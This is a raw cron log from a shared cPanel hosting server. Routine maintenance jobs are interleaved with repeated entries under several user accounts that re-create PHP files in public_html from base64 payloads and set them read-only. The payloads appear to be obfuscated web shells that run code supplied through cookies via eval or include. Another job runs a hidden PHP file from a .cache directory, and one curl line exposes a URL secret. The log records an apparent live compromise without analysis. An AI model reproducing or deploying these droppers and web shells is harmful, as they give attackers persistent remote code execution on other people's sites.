Jun  7 08:20:01 medusa CROND[16934]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 08:20:01 medusa CROND[16924]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Jun  7 08:20:01 medusa CROND[16935]: (revistaenergiaco) CMD (/user/bin/curl -s 'https://news.revistaenergia.com.ar/lists/admin/?page=processqueue&secret=9f656b23bf56b9ba2362)
Jun  7 08:20:01 medusa CROND[16940]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 08:20:01 medusa CROND[16936]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Jun  7 08:20:01 medusa CROND[16944]: (root) CMD (/nutscripts/control_exim.sh  >/dev/null 2>&1)
Jun  7 08:20:01 medusa CROND[16943]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cl-syncpkg.cronlock /usr/bin/cl-syncpkgs)
Jun  7 08:20:01 medusa CROND[16946]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Jun  7 08:20:01 medusa CROND[16937]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Jun  7 08:20:01 medusa CROND[16917]: (root) CMD (/usr/local/cpanel/3rdparty/bin/php -d disable_functions="" /usr/local/cpanel/whostmgr/docroot/cgi/softaculous/do_backups.php >> /dev/null 2>&1)
Jun  7 08:21:01 medusa CROND[18884]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Jun  7 08:21:01 medusa CROND[18933]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_kill_php_script.cronlock bash /usr/sbin/kill_php_script)
Jun  7 08:21:01 medusa CROND[18934]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 08:21:01 medusa CROND[18935]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Jun  7 08:21:01 medusa CROND[18937]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Jun  7 08:21:01 medusa CROND[18936]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Jun  7 08:21:01 medusa CROND[18938]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Jun  7 08:21:01 medusa CROND[18939]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Jun  7 08:21:01 medusa CROND[18940]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 08:21:01 medusa CROND[18946]: (root) CMD (/usr/bin/flock -n /var/run/get_panel_users.cronlock /usr/sbin/getpaneluserscount &> /dev/null)
Jun  7 08:21:01 medusa CROND[18952]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Jun  7 08:21:01 medusa CROND[18954]: (adminanalia) CMD (cd /home12/adminanalia/public_html/espo; /opt/cpanel/ea-php81/root/usr/bin/php -f cron.php > /dev/null)
Jun  7 08:21:01 medusa CROND[18955]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 08:21:01 medusa CROND[18956]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 08:22:01 medusa CROND[20452]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Jun  7 08:22:01 medusa CROND[20453]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Jun  7 08:22:01 medusa CROND[20454]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Jun  7 08:22:01 medusa CROND[20455]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Jun  7 08:22:01 medusa CROND[20456]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Jun  7 08:22:01 medusa CROND[20457]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_panel-detect.cronlock /usr/bin/package_reinstaller.py check)
Jun  7 08:22:01 medusa CROND[20459]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 08:22:01 medusa CROND[20463]: (revistaenergiaco) CMD (cd /home3/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php -f cron.php > /dev/null)
Jun  7 08:22:01 medusa CROND[20464]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 08:22:01 medusa CROND[20465]: (revistaenergiaco) CMD (/user/bin/curl -s 'https://news.revistaenergia.com.ar/lists/admin/?page=processqueue&secret=9f656b23bf56b9ba2362)
Jun  7 08:22:01 medusa CROND[20466]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Jun  7 08:22:01 medusa CROND[20467]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Jun  7 08:22:01 medusa CROND[20472]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
